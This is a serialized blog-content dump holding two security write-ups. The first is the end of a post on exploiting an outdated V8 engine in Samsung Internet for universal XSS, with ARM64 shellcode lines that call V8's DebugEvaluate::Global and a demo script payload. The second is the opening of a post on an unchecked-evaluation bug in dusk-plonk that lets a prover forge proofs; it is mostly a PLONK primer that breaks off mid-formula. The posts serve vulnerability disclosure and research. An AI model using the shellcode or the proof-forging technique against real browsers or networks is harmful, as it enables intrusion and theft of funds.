length\n",{"type":26,"tag":475,"props":141056,"children":141057},{"class":477,"line":1936},[141058],{"type":26,"tag":475,"props":141059,"children":141060},{},[141061],{"type":32,"value":141062},"mov w3, #{len(XSS_PAYLOAD)}\n",{"type":26,"tag":475,"props":141064,"children":141065},{"class":477,"line":1945},[141066],{"type":26,"tag":475,"props":141067,"children":141068},{},[141069],{"type":32,"value":141070},"// call NewFromUTF8\n",{"type":26,"tag":475,"props":141072,"children":141073},{"class":477,"line":1967},[141074],{"type":26,"tag":475,"props":141075,"children":141076},{},[141077],{"type":32,"value":141078},"blr x10\n",{"type":26,"tag":475,"props":141080,"children":141081},{"class":477,"line":1976},[141082],{"type":26,"tag":475,"props":141083,"children":141084},{"emptyLinePlaceholder":18},[141085],{"type":32,"value":545},{"type":26,"tag":475,"props":141087,"children":141088},{"class":477,"line":1984},[141089],{"type":26,"tag":475,"props":141090,"children":141091},{},[141092],{"type":32,"value":141093},"// store x14 = String XSS_PAYLOAD\n",{"type":26,"tag":475,"props":141095,"children":141096},{"class":477,"line":1992},[141097],{"type":26,"tag":475,"props":141098,"children":141099},{},[141100],{"type":32,"value":141101},"mov x14, x0\n",{"type":26,"tag":475,"props":141103,"children":141104},{"class":477,"line":2004},[141105],{"type":26,"tag":475,"props":141106,"children":141107},{"emptyLinePlaceholder":18},[141108],{"type":32,"value":545},{"type":26,"tag":475,"props":141110,"children":141111},{"class":477,"line":2029},[141112],{"type":26,"tag":475,"props":141113,"children":141114},{},[141115],{"type":32,"value":141116},"// store x9 = v8::internal::DebugEvaluate::Global\n",{"type":26,"tag":475,"props":141118,"children":141119},{"class":477,"line":2042},[141120],{"type":26,"tag":475,"props":141121,"children":141122},{},[141123],{"type":32,"value":141124},"movz x1, #0xe44c\n",{"type":26,"tag":475,"props":141126,"children":141127},{"class":477,"line":2060},[141128],{"type":26,"tag":475,"props":141129,"children":141130},{},[141131],{"type":32,"value":141132},"movk x1, #0x014e, lsl #16\n",{"type":26,"tag":475,"props":141134,"children":141135},{"class":477,"line":2068},[141136],{"type":26,"tag":475,"props":141137,"children":141138},{},[141139],{"type":32,"value":141140},"sub x9, x12, x1\n",{"type":26,"tag":475,"props":141142,"children":141143},{"class":477,"line":2076},[141144],{"type":26,"tag":475,"props":141145,"children":141146},{"emptyLinePlaceholder":18},[141147],{"type":32,"value":545},{"type":26,"tag":475,"props":141149,"children":141150},{"class":477,"line":2084},[141151],{"type":26,"tag":475,"props":141152,"children":141153},{},[141154],{"type":32,"value":141155},"// call v8::internal::DebugEvaluate::Global\n",{"type":26,"tag":475,"props":141157,"children":141158},{"class":477,"line":2092},[141159],{"type":26,"tag":475,"props":141160,"children":141161},{},[141162],{"type":32,"value":141006},{"type":26,"tag":475,"props":141164,"children":141165},{"class":477,"line":2100},[141166],{"type":26,"tag":475,"props":141167,"children":141168},{},[141169],{"type":32,"value":141014},{"type":26,"tag":475,"props":141171,"children":141172},{"class":477,"line":2128},[141173],{"type":26,"tag":475,"props":141174,"children":141175},{},[141176],{"type":32,"value":141177},"// arg1 = String *source\n",{"type":26,"tag":475,"props":141179,"children":141180},{"class":477,"line":103832},[141181],{"type":26,"tag":475,"props":141182,"children":141183},{},[141184],{"type":32,"value":141185},"mov x1, x14\n",{"type":26,"tag":475,"props":141187,"children":141188},{"class":477,"line":103840},[141189],{"type":26,"tag":475,"props":141190,"children":141191},{},[141192],{"type":32,"value":141193},"// arg2 = mode = kDefault\n",{"type":26,"tag":475,"props":141195,"children":141197},{"class":477,"line":141196},69,[141198],{"type":26,"tag":475,"props":141199,"children":141200},{},[141201],{"type":32,"value":141046},{"type":26,"tag":475,"props":141203,"children":141205},{"class":477,"line":141204},70,[141206],{"type":26,"tag":475,"props":141207,"children":141208},{},[141209],{"type":32,"value":141210},"// arg3 = repl_mode = kYes\n",{"type":26,"tag":475,"props":141212,"children":141214},{"class":477,"line":141213},71,[141215],{"type":26,"tag":475,"props":141216,"children":141217},{},[141218],{"type":32,"value":141219},"mov x3, #0\n",{"type":26,"tag":475,"props":141221,"children":141223},{"class":477,"line":141222},72,[141224],{"type":26,"tag":475,"props":141225,"children":141226},{"emptyLinePlaceholder":18},[141227],{"type":32,"value":545},{"type":26,"tag":475,"props":141229,"children":141231},{"class":477,"line":141230},73,[141232],{"type":26,"tag":475,"props":141233,"children":141234},{},[141235],{"type":32,"value":140732},{"type":26,"tag":41,"props":141237,"children":141239},{"id":141238},"uxss-demo",[141240],{"type":32,"value":141241},"UXSS Demo",{"type":26,"tag":35,"props":141243,"children":141244},{},[141245,141247,141253],{"type":32,"value":141246},"Below is a demo that executes the following UXSS payload: ",{"type":26,"tag":53,"props":141248,"children":141250},{"className":141249},[],[141251],{"type":32,"value":141252},"alert(document.domain); window.location.href = \"https://cor.team/\";",{"type":32,"value":353},{"type":26,"tag":131290,"props":141255,"children":141258},{"className":141256,"controls":18},[141257],"blog-video-responsive",[141259,141261,141265],{"type":32,"value":141260},"\n ",{"type":26,"tag":140496,"props":141262,"children":141264},{"src":141263,"type":131288},"/posts/mobile-renderer-rce/demo.mp4",[],{"type":32,"value":141266},"\n Your browser does not support the video tag.\n",{"type":26,"tag":27,"props":141268,"children":141269},{"id":2533},[141270],{"type":32,"value":2536},{"type":26,"tag":35,"props":141272,"children":141273},{},[141274],{"type":32,"value":141275},"Given the complex nature of the modern software ecosystem, it is unsurprising to find core out of date libraries in popular applications. Samsung Internet relied on a six month old version of V8, a JavaScript engine where researchers frequently discover new vulnerabilities, providing us a large window for n-day exploitation.",{"type":26,"tag":35,"props":141277,"children":141278},{},[141279],{"type":32,"value":141280},"While renderer bugs are usually chained with another exploit such as a sandbox escape, we pushed the capabilities of the bug by targeting the weaker Site Isolation mechanism on mobile. As most web pages ran under the same process, we could inject shellcode into the JavaScript interpreter to achieve universal XSS in Samsung Internet browser.",{"type":26,"tag":2548,"props":141282,"children":141283},{},[141284],{"type":32,"value":2552},{"title":7,"searchDepth":516,"depth":516,"links":141286},[141287,141291,141294,141304],{"id":28717,"depth":516,"text":28720,"children":141288},[141289,141290],{"id":131424,"depth":539,"text":131427},{"id":131507,"depth":539,"text":131510},{"id":131540,"depth":516,"text":131543,"children":141292},[141293],{"id":131681,"depth":539,"text":131535},{"id":131825,"depth":516,"text":131828,"children":141295},[141296,141297,141298,141299,141300,141301,141302,141303],{"id":131831,"depth":539,"text":131834},{"id":132288,"depth":539,"text":132291},{"id":132471,"depth":539,"text":132474},{"id":132582,"depth":539,"text":132585},{"id":132859,"depth":539,"text":132862},{"id":135569,"depth":539,"text":135572},{"id":138850,"depth":539,"text":138853},{"id":141238,"depth":539,"text":141241},{"id":2533,"depth":516,"text":2536},"content:blog:2026-04-01-patch-gap-to-mobile-renderer-rce.md","blog/2026-04-01-patch-gap-to-mobile-renderer-rce.md","blog/2026-04-01-patch-gap-to-mobile-renderer-rce",{"_path":141309,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":141310,"description":141311,"date":141312,"author":141313,"image":141314,"isFeatured":18,"onBlogPage":18,"tags":141316,"body":141319,"_type":2566,"_id":146583,"_source":2568,"_file":146584,"_stem":146585,"_extension":2571},"/blog/2026-04-30-unverified-evaluations-dusk-plonk","Unverified Evaluations in Dusk's PLONK","Dusk's privacy layer protects ~$60M of DUSK and hinges on one proof check. dusk-plonk's verifier never validated four of the prover's polynomial commitments, enough to mint DUSK from nothing and forge shielded spends the network confirmed as real.","2026-04-30T12:00:00.000Z",[107270,107271],{"src":141315,"width":16,"height":17},"/posts/dusk-commitment-issues/title.png",[141317,141318],"dusk","plonk",{"type":23,"children":141320,"toc":146563},[141321,141327,141368,141380,141386,141400,141405,141411,141702,141706,141978,142208,142214,142899,142903,143398,143406,143412,143431,143436,143442,143667,143706,143717,143723,143734,144442,144447,144450,144456,144509,144544,144576,144581,144585,144588,144594,144605,144618,144649,144716,144724,144746,144759,145186,145209,145214,145217,145222,145249,145345,145356,145403,145441,145452,145790,145807,145815,145818,145824,145829,145863,145871,145952,145955,145961,145975,145993,145998,146038,146046,146067,146070,146076,146081,146146,146160,146163,146169,146209,146220,146225,146230,146236,146250,146331,146352,146379,146382,146388,146402,146407,146412,146417,146552,146558],{"type":26,"tag":35068,"props":141322,"children":141324},{"id":141323},"commitment-issues-unverified-evaluations-in-dusks-plonk",[141325],{"type":32,"value":141326},"Commitment Issues: Unverified Evaluations in Dusk's PLONK",{"type":26,"tag":35,"props":141328,"children":141329},{},[141330,141332,141339,141341,141348,141350,141357,141359,141366],{"type":32,"value":141331},"We found a critical soundness vulnerability in ",{"type":26,"tag":116,"props":141333,"children":141336},{"href":141334,"rel":141335},"https://github.com/dusk-network/plonk/",[120],[141337],{"type":32,"value":141338},"dusk-plonk",{"type":32,"value":141340},", the PLONK implementation powering ",{"type":26,"tag":116,"props":141342,"children":141345},{"href":141343,"rel":141344},"https://dusk.network/",[120],[141346],{"type":32,"value":141347},"Dusk Network's",{"type":32,"value":141349}," ~$60M ",{"type":26,"tag":116,"props":141351,"children":141354},{"href":141352,"rel":141353},"https://www.coingecko.com/en/coins/dusk",[120],[141355],{"type":32,"value":141356},"market cap",{"type":32,"value":141358},". By exploiting a gap in the verification step, a malicious prover could forge verifying proofs for arbitrary false statements, bypassing every constraint in the transaction circuit. On the live ",{"type":26,"tag":116,"props":141360,"children":141363},{"href":141361,"rel":141362},"https://github.com/dusk-network/rusk",[120],[141364],{"type":32,"value":141365},"Rusk",{"type":32,"value":141367}," network, this would have enabled minting arbitrary amounts of DUSK and moving forged shielded funds through the normal Phoenix path.",{"type":26,"tag":35,"props":141369,"children":141370},{},[141371,141373,141378],{"type":32,"value":141372},"The root cause was that the prover slipped four public selector evaluations into the proof struct, and the verifier consumed them in its final equation ",{"type":26,"tag":105,"props":141374,"children":141375},{},[141376],{"type":32,"value":141377},"without ever validating them against the trusted commitments in the verifier key.",{"type":32,"value":141379}," The prover can set them to whatever values make the equation pass.",{"type":26,"tag":27,"props":141381,"children":141383},{"id":141382},"how-plonk-works-briefly",[141384],{"type":32,"value":141385},"How PLONK works (briefly)",{"type":26,"tag":35,"props":141387,"children":141388},{},[141389,141391,141398],{"type":32,"value":141390},"For a rigorous treatment see the ",{"type":26,"tag":116,"props":141392,"children":141395},{"href":141393,"rel":141394},"https://eprint.iacr.org/2019/953",[120],[141396],{"type":32,"value":141397},"original paper",{"type":32,"value":141399},"; what follows covers only the parts needed to understand the bug.",{"type":26,"tag":35,"props":141401,"children":141402},{},[141403],{"type":32,"value":141404},"A prover wants to convince a verifier that it knows secret inputs satisfying some computation (an arithmetic circuit) without revealing those inputs, and the resulting proof should be short and quick to verify.",{"type":26,"tag":41,"props":141406,"children":141408},{"id":141407},"arithmetic-circuits-and-constraints",[141409],{"type":32,"value":141410},"Arithmetic circuits and constraints",{"type":26,"tag":35,"props":141412,"children":141413},{},[141414,141416,141465,141467,141616,141618,141701],{"type":32,"value":141415},"An arithmetic circuit is a series of addition and multiplication gates wired together. An example would be proving that we know of some point ",{"type":26,"tag":53,"props":141417,"children":141419},{"className":141418},[3691,3692],[141420],{"type":26,"tag":475,"props":141421,"children":141423},{"className":141422},[3697],[141424],{"type":26,"tag":475,"props":141425,"children":141427},{"className":141426,"ariaHidden":3703},[3702],[141428],{"type":26,"tag":475,"props":141429,"children":141431},{"className":141430},[3708],[141432,141436,141441,141446,141451,141455,141460],{"type":26,"tag":475,"props":141433,"children":141435},{"className":141434,"style":3821},[3713],[],{"type":26,"tag":475,"props":141437,"children":141439},{"className":141438},[21425],[141440],{"type":32,"value":626},{"type":26,"tag":475,"props":141442,"children":141444},{"className":141443},[3719,21296],[141445],{"type":32,"value":18984},{"type":26,"tag":475,"props":141447,"children":141449},{"className":141448},[3832],[141450],{"type":32,"value":3835},{"type":26,"tag":475,"props":141452,"children":141454},{"className":141453,"style":3839},[3800],[],{"type":26,"tag":475,"props":141456,"children":141458},{"className":141457,"style":93153},[3719,21296],[141459],{"type":32,"value":2821},{"type":26,"tag":475,"props":141461,"children":141463},{"className":141462},[21447],[141464],{"type":32,"value":2835},{"type":32,"value":141466}," on an elliptic curve, by e.g proving that ",{"type":26,"tag":53,"props":141468,"children":141470},{"className":141469},[3691,3692],[141471],{"type":26,"tag":475,"props":141472,"children":141474},{"className":141473},[3697],[141475],{"type":26,"tag":475,"props":141476,"children":141478},{"className":141477,"ariaHidden":3703},[3702],[141479,141541,141603],{"type":26,"tag":475,"props":141480,"children":141482},{"className":141481},[3708],[141483,141487,141528,141532,141537],{"type":26,"tag":475,"props":141484,"children":141486},{"className":141485,"style":122816},[3713],[],{"type":26,"tag":475,"props":141488,"children":141490},{"className":141489},[3719],[141491,141496],{"type":26,"tag":475,"props":141492,"children":141494},{"className":141493,"style":93153},[3719,21296],[141495],{"type":32,"value":2821},{"type":26,"tag":475,"props":141497,"children":141499},{"className":141498},[3736],[141500],{"type":26,"tag":475,"props":141501,"children":141503},{"className":141502},[3741],[141504],{"type":26,"tag":475,"props":141505,"children":141507},{"className":141506},[3746],[141508],{"type":26,"tag":475,"props":141509,"children":141511},{"className":141510,"style":3714},[3751],[141512],{"type":26,"tag":475,"props":141513,"children":141514},{"style":3755},[141515,141519],{"type":26,"tag":475,"props":141516,"children":141518},{"className":141517,"style":3761},[3760],[],{"type":26,"tag":475,"props":141520,"children":141522},{"className":141521},[3766,3767,3768,3769],[141523],{"type":26,"tag":475,"props":141524,"children":141526},{"className":141525},[3719,3769],[141527],{"type":32,"value":2830},{"type":26,"tag":475,"props":141529,"children":141531},{"className":141530,"style":3898},[3800],[],{"type":26,"tag":475,"props":141533,"children":141535},{"className":141534},[3903],[141536],{"type":32,"value":786},{"type":26,"tag":475,"props":141538,"children":141540},{"className":141539,"style":3898},[3800],[],{"type":26,"tag":475,"props":141542,"children":141544},{"className":141543},[3708],[141545,141549,141590,141594,141599],{"type":26,"tag":475,"props":141546,"children":141548},{"className":141547,"style":122691},[3713],[],{"type":26,"tag":475,"props":141550,"children":141552},{"className":141551},[3719],[141553,141558],{"type":26,"tag":475,"props":141554,"children":141556},{"className":141555},[3719,21296],[141557],{"type":32,"value":18984},{"type":26,"tag":475,"props":141559,"children":141561},{"className":141560},[3736],[141562],{"type":26,"tag":475,"props":141563,"children":141565},{"className":141564},[3741],[141566],{"type":26,"tag":475,"props":141567,"children":141569},{"className":141568},[3746],[141570],{"type":26,"tag":475,"props":141571,"children":141573},{"className":141572,"style":3714},[3751],[141574],{"type":26,"tag":475,"props":141575,"children":141576},{"style":3755},[141577,141581],{"type":26,"tag":475,"props":141578,"children":141580},{"className":141579,"style":3761},[3760],[],{"type":26,"tag":475,"props":141582,"children":141584},{"className":141583},[3766,3767,3768,3769],[141585],{"type":26,"tag":475,"props":141586,"children":141588},{"className":141587},[3719,3769],[141589],{"type":32,"value":17002},{"type":26,"tag":475,"props":141591,"children":141593},{"className":141592,"style":3801},[3800],[],{"type":26,"tag":475,"props":141595,"children":141597},{"className":141596},[3806],[141598],{"type":32,"value":1106},{"type":26,"tag":475,"props":141600,"children":141602},{"className":141601,"style":3801},[3800],[],{"type":26,"tag":475,"props":141604,"children":141606},{"className":141605},[3708],[141607,141611],{"type":26,"tag":475,"props":141608,"children":141610},{"className":141609,"style":93698},[3713],[],{"type":26,"tag":475,"props":141612,"children":141614},{"className":141613},[3719],[141615],{"type":32,"value":54362},{"type":32,"value":141617},", here in ",{"type":26,"tag":53,"props":141619,"children":141621},{"className":141620},[3691,3692],[141622],{"type":26,"tag":475,"props":141623,"children":141625},{"className":141624},[3697],[141626],{"type":26,"tag":475,"props":141627,"children":141629},{"className":141628,"ariaHidden":3703},[3702],[141630],{"type":26,"tag":475,"props":141631,"children":141633},{"className":141632},[3708],[141634,141639],{"type":26,"tag":475,"props":141635,"children":141638},{"className":141636,"style":141637},[3713],"height:0.8389em;vertical-align:-0.15em;",[],{"type":26,"tag":475,"props":141640,"children":141642},{"className":141641},[3719],[141643,141648],{"type":26,"tag":475,"props":141644,"children":141646},{"className":141645},[3719,121254],[141647],{"type":32,"value":121257},{"type":26,"tag":475,"props":141649,"children":141651},{"className":141650},[3736],[141652],{"type":26,"tag":475,"props":141653,"children":141655},{"className":141654},[3741,21350],[141656,141690],{"type":26,"tag":475,"props":141657,"children":141659},{"className":141658},[3746],[141660,141685],{"type":26,"tag":475,"props":141661,"children":141663},{"className":141662,"style":92719},[3751],[141664],{"type":26,"tag":475,"props":141665,"children":141666},{"style":92723},[141667,141671],{"type":26,"tag":475,"props":141668,"children":141670},{"className":141669,"style":3761},[3760],[],{"type":26,"tag":475,"props":141672,"children":141674},{"className":141673},[3766,3767,3768,3769],[141675],{"type":26,"tag":475,"props":141676,"children":141678},{"className":141677},[3719,3769],[141679],{"type":26,"tag":475,"props":141680,"children":141682},{"className":141681},[3719,3769],[141683],{"type":32,"value":141684},"37",{"type":26,"tag":475,"props":141686,"children":141688},{"className":141687},[21453],[141689],{"type":32,"value":21456},{"type":26,"tag":475,"props":141691,"children":141693},{"className":141692},[3746],[141694],{"type":26,"tag":475,"props":141695,"children":141697},{"className":141696,"style":92750},[3751],[141698],{"type":26,"tag":475,"props":141699,"children":141700},{},[],{"type":32,"value":353},{"type":26,"tag":141703,"props":141704,"children":141705},"arithmetic-circuit-widget",{},[],{"type":26,"tag":35,"props":141707,"children":141708},{},[141709,141711,141737,141739,141818,141820,141897,141899,141976],{"type":32,"value":141710},"Each gate ",{"type":26,"tag":53,"props":141712,"children":141714},{"className":141713},[3691,3692],[141715],{"type":26,"tag":475,"props":141716,"children":141718},{"className":141717},[3697],[141719],{"type":26,"tag":475,"props":141720,"children":141722},{"className":141721,"ariaHidden":3703},[3702],[141723],{"type":26,"tag":475,"props":141724,"children":141726},{"className":141725},[3708],[141727,141732],{"type":26,"tag":475,"props":141728,"children":141731},{"className":141729,"style":141730},[3713],"height:0.6595em;",[],{"type":26,"tag":475,"props":141733,"children":141735},{"className":141734},[3719,21296],[141736],{"type":32,"value":3445},{"type":32,"value":141738}," has a left input ",{"type":26,"tag":53,"props":141740,"children":141742},{"className":141741},[3691,3692],[141743],{"type":26,"tag":475,"props":141744,"children":141746},{"className":141745},[3697],[141747],{"type":26,"tag":475,"props":141748,"children":141750},{"className":141749,"ariaHidden":3703},[3702],[141751],{"type":26,"tag":475,"props":141752,"children":141754},{"className":141753},[3708],[141755,141760],{"type":26,"tag":475,"props":141756,"children":141759},{"className":141757,"style":141758},[3713],"height:0.8444em;vertical-align:-0.15em;",[],{"type":26,"tag":475,"props":141761,"children":141763},{"className":141762},[3719],[141764,141769],{"type":26,"tag":475,"props":141765,"children":141767},{"className":141766,"style":92679},[3719,21296],[141768],{"type":32,"value":92682},{"type":26,"tag":475,"props":141770,"children":141772},{"className":141771},[3736],[141773],{"type":26,"tag":475,"props":141774,"children":141776},{"className":141775},[3741,21350],[141777,141807],{"type":26,"tag":475,"props":141778,"children":141780},{"className":141779},[3746],[141781,141802],{"type":26,"tag":475,"props":141782,"children":141784},{"className":141783,"style":93196},[3751],[141785],{"type":26,"tag":475,"props":141786,"children":141788},{"style":141787},"top:-2.55em;margin-left:-0.0197em;margin-right:0.05em;",[141789,141793],{"type":26,"tag":475,"props":141790,"children":141792},{"className":141791,"style":3761},[3760],[],{"type":26,"tag":475,"props":141794,"children":141796},{"className":141795},[3766,3767,3768,3769],[141797],{"type":26,"tag":475,"props":141798,"children":141800},{"className":141799},[3719,21296,3769],[141801],{"type":32,"value":3445},{"type":26,"tag":475,"props":141803,"children":141805},{"className":141804},[21453],[141806],{"type":32,"value":21456},{"type":26,"tag":475,"props":141808,"children":141810},{"className":141809},[3746],[141811],{"type":26,"tag":475,"props":141812,"children":141814},{"className":141813,"style":92750},[3751],[141815],{"type":26,"tag":475,"props":141816,"children":141817},{},[],{"type":32,"value":141819},", right input ",{"type":26,"tag":53,"props":141821,"children":141823},{"className":141822},[3691,3692],[141824],{"type":26,"tag":475,"props":141825,"children":141827},{"className":141826},[3697],[141828],{"type":26,"tag":475,"props":141829,"children":141831},{"className":141830,"ariaHidden":3703},[3702],[141832],{"type":26,"tag":475,"props":141833,"children":141835},{"className":141834},[3708],[141836,141840],{"type":26,"tag":475,"props":141837,"children":141839},{"className":141838,"style":109449},[3713],[],{"type":26,"tag":475,"props":141841,"children":141843},{"className":141842},[3719],[141844,141849],{"type":26,"tag":475,"props":141845,"children":141847},{"className":141846,"style":92667},[3719,21296],[141848],{"type":32,"value":93486},{"type":26,"tag":475,"props":141850,"children":141852},{"className":141851},[3736],[141853],{"type":26,"tag":475,"props":141854,"children":141856},{"className":141855},[3741,21350],[141857,141886],{"type":26,"tag":475,"props":141858,"children":141860},{"className":141859},[3746],[141861,141881],{"type":26,"tag":475,"props":141862,"children":141864},{"className":141863,"style":93196},[3751],[141865],{"type":26,"tag":475,"props":141866,"children":141867},{"style":109478},[141868,141872],{"type":26,"tag":475,"props":141869,"children":141871},{"className":141870,"style":3761},[3760],[],{"type":26,"tag":475,"props":141873,"children":141875},{"className":141874},[3766,3767,3768,3769],[141876],{"type":26,"tag":475,"props":141877,"children":141879},{"className":141878},[3719,21296,3769],[141880],{"type":32,"value":3445},{"type":26,"tag":475,"props":141882,"children":141884},{"className":141883},[21453],[141885],{"type":32,"value":21456},{"type":26,"tag":475,"props":141887,"children":141889},{"className":141888},[3746],[141890],{"type":26,"tag":475,"props":141891,"children":141893},{"className":141892,"style":92750},[3751],[141894],{"type":26,"tag":475,"props":141895,"children":141896},{},[],{"type":32,"value":141898},", and output ",{"type":26,"tag":53,"props":141900,"children":141902},{"className":141901},[3691,3692],[141903],{"type":26,"tag":475,"props":141904,"children":141906},{"className":141905},[3697],[141907],{"type":26,"tag":475,"props":141908,"children":141910},{"className":141909,"ariaHidden":3703},[3702],[141911],{"type":26,"tag":475,"props":141912,"children":141914},{"className":141913},[3708],[141915,141919],{"type":26,"tag":475,"props":141916,"children":141918},{"className":141917,"style":109449},[3713],[],{"type":26,"tag":475,"props":141920,"children":141922},{"className":141921},[3719],[141923,141928],{"type":26,"tag":475,"props":141924,"children":141926},{"className":141925},[3719,21296],[141927],{"type":32,"value":92637},{"type":26,"tag":475,"props":141929,"children":141931},{"className":141930},[3736],[141932],{"type":26,"tag":475,"props":141933,"children":141935},{"className":141934},[3741,21350],[141936,141965],{"type":26,"tag":475,"props":141937,"children":141939},{"className":141938},[3746],[141940,141960],{"type":26,"tag":475,"props":141941,"children":141943},{"className":141942,"style":93196},[3751],[141944],{"type":26,"tag":475,"props":141945,"children":141946},{"style":92723},[141947,141951],{"type":26,"tag":475,"props":141948,"children":141950},{"className":141949,"style":3761},[3760],[],{"type":26,"tag":475,"props":141952,"children":141954},{"className":141953},[3766,3767,3768,3769],[141955],{"type":26,"tag":475,"props":141956,"children":141958},{"className":141957},[3719,21296,3769],[141959],{"type":32,"value":3445},{"type":26,"tag":475,"props":141961,"children":141963},{"className":141962},[21453],[141964],{"type":32,"value":21456},{"type":26,"tag":475,"props":141966,"children":141968},{"className":141967},[3746],[141969],{"type":26,"tag":475,"props":141970,"children":141972},{"className":141971,"style":92750},[3751],[141973],{"type":26,"tag":475,"props":141974,"children":141975},{},[],{"type":32,"value":141977},". The prover's job is to show it knows wire values that satisfy every gate.",{"type":26,"tag":35,"props":141979,"children":141980},{},[141981,141983,141988,141990,142094,142096,142199,142201,142206],{"type":32,"value":141982},"Each gate imposes a constraint, and PLONK unifies all gate types into one expression using ",{"type":26,"tag":2615,"props":141984,"children":141985},{},[141986],{"type":32,"value":141987},"selector",{"type":32,"value":141989}," values that act as switches: setting ",{"type":26,"tag":53,"props":141991,"children":141993},{"className":141992},[3691,3692],[141994],{"type":26,"tag":475,"props":141995,"children":141997},{"className":141996},[3697],[141998],{"type":26,"tag":475,"props":141999,"children":142001},{"className":142000,"ariaHidden":3703},[3702],[142002,142081],{"type":26,"tag":475,"props":142003,"children":142005},{"className":142004},[3708],[142006,142010,142068,142072,142077],{"type":26,"tag":475,"props":142007,"children":142009},{"className":142008,"style":109369},[3713],[],{"type":26,"tag":475,"props":142011,"children":142013},{"className":142012},[3719],[142014,142019],{"type":26,"tag":475,"props":142015,"children":142017},{"className":142016,"style":93153},[3719,21296],[142018],{"type":32,"value":93156},{"type":26,"tag":475,"props":142020,"children":142022},{"className":142021},[3736],[142023],{"type":26,"tag":475,"props":142024,"children":142026},{"className":142025},[3741,21350],[142027,142057],{"type":26,"tag":475,"props":142028,"children":142030},{"className":142029},[3746],[142031,142052],{"type":26,"tag":475,"props":142032,"children":142035},{"className":142033,"style":142034},[3751],"height:0.3283em;",[142036],{"type":26,"tag":475,"props":142037,"children":142038},{"style":93200},[142039,142043],{"type":26,"tag":475,"props":142040,"children":142042},{"className":142041,"style":3761},[3760],[],{"type":26,"tag":475,"props":142044,"children":142046},{"className":142045},[3766,3767,3768,3769],[142047],{"type":26,"tag":475,"props":142048,"children":142050},{"className":142049,"style":94675},[3719,21296,3769],[142051],{"type":32,"value":94678},{"type":26,"tag":475,"props":142053,"children":142055},{"className":142054},[21453],[142056],{"type":32,"value":21456},{"type":26,"tag":475,"props":142058,"children":142060},{"className":142059},[3746],[142061],{"type":26,"tag":475,"props":142062,"children":142064},{"className":142063,"style":92750},[3751],[142065],{"type":26,"tag":475,"props":142066,"children":142067},{},[],{"type":26,"tag":475,"props":142069,"children":142071},{"className":142070,"style":3898},[3800],[],{"type":26,"tag":475,"props":142073,"children":142075},{"className":142074},[3903],[142076],{"type":32,"value":786},{"type":26,"tag":475,"props":142078,"children":142080},{"className":142079,"style":3898},[3800],[],{"type":26,"tag":475,"props":142082,"children":142084},{"className":142083},[3708],[142085,142089],{"type":26,"tag":475,"props":142086,"children":142088},{"className":142087,"style":93698},[3713],[],{"type":26,"tag":475,"props":142090,"children":142092},{"className":142091},[3719],[142093],{"type":32,"value":3722},{"type":32,"value":142095}," makes a row a multiplication gate, setting ",{"type":26,"tag":53,"props":142097,"children":142099},{"className":142098},[3691,3692],[142100],{"type":26,"tag":475,"props":142101,"children":142103},{"className":142102},[3697],[142104],{"type":26,"tag":475,"props":142105,"children":142107},{"className":142106,"ariaHidden":3703},[3702],[142108,142186],{"type":26,"tag":475,"props":142109,"children":142111},{"className":142110},[3708],[142112,142116,142173,142177,142182],{"type":26,"tag":475,"props":142113,"children":142115},{"className":142114,"style":109369},[3713],[],{"type":26,"tag":475,"props":142117,"children":142119},{"className":142118},[3719],[142120,142125],{"type":26,"tag":475,"props":142121,"children":142123},{"className":142122,"style":93153},[3719,21296],[142124],{"type":32,"value":93156},{"type":26,"tag":475,"props":142126,"children":142128},{"className":142127},[3736],[142129],{"type":26,"tag":475,"props":142130,"children":142132},{"className":142131},[3741,21350],[142133,142162],{"type":26,"tag":475,"props":142134,"children":142136},{"className":142135},[3746],[142137,142157],{"type":26,"tag":475,"props":142138,"children":142140},{"className":142139,"style":142034},[3751],[142141],{"type":26,"tag":475,"props":142142,"children":142143},{"style":93200},[142144,142148],{"type":26,"tag":475,"props":142145,"children":142147},{"className":142146,"style":3761},[3760],[],{"type":26,"tag":475,"props":142149,"children":142151},{"className":142150},[3766,3767,3768,3769],[142152],{"type":26,"tag":475,"props":142153,"children":142155},{"className":142154},[3719,21296,3769],[142156],{"type":32,"value":117443},{"type":26,"tag":475,"props":142158,"children":142160},{"className":142159},[21453],[142161],{"type":32,"value":21456},{"type":26,"tag":475,"props":142163,"children":142165},{"className":142164},[3746],[142166],{"type":26,"tag":475,"props":142167,"children":142169},{"className":142168,"style":92750},[3751],[142170],{"type":26,"tag":475,"props":142171,"children":142172},{},[],{"type":26,"tag":475,"props":142174,"children":142176},{"className":142175,"style":3898},[3800],[],{"type":26,"tag":475,"props":142178,"children":142180},{"className":142179},[3903],[142181],{"type":32,"value":786},{"type":26,"tag":475,"props":142183,"children":142185},{"className":142184,"style":3898},[3800],[],{"type":26,"tag":475,"props":142187,"children":142189},{"className":142188},[3708],[142190,142194],{"type":26,"tag":475,"props":142191,"children":142193},{"className":142192,"style":93698},[3713],[],{"type":26,"tag":475,"props":142195,"children":142197},{"className":142196},[3719],[142198],{"type":32,"value":3722},{"type":32,"value":142200}," makes it contribute an addition term, and so on. The selector values define the circuit's shape and are public, known to both prover and verifier, while the wire values are the prover's secret witness. This per-row check does not ensure that wires between gates are consistent (that the output of one gate equals the input of the next); PLONK uses a separate ",{"type":26,"tag":2615,"props":142202,"children":142203},{},[142204],{"type":32,"value":142205},"permutation argument",{"type":32,"value":142207}," for that, which we will not cover here.",{"type":26,"tag":41,"props":142209,"children":142211},{"id":142210},"from-many-checks-to-one",[142212],{"type":32,"value":142213},"From many checks to one",{"type":26,"tag":35,"props":142215,"children":142216},{},[142217,142219,142224,142225,142317,142318,142410,142411,142503,142505,142510,142511,142603,142604,142696,142698,142723,142725,142750,142752,142844,142846,142871,142873,142898],{"type":32,"value":142218},"Instead of checking each gate individually, PLONK reads the execution trace column by column and uses FFT interpolation to convert each array of values to a single polynomial. The wire values become ",{"type":26,"tag":2615,"props":142220,"children":142221},{},[142222],{"type":32,"value":142223},"witness 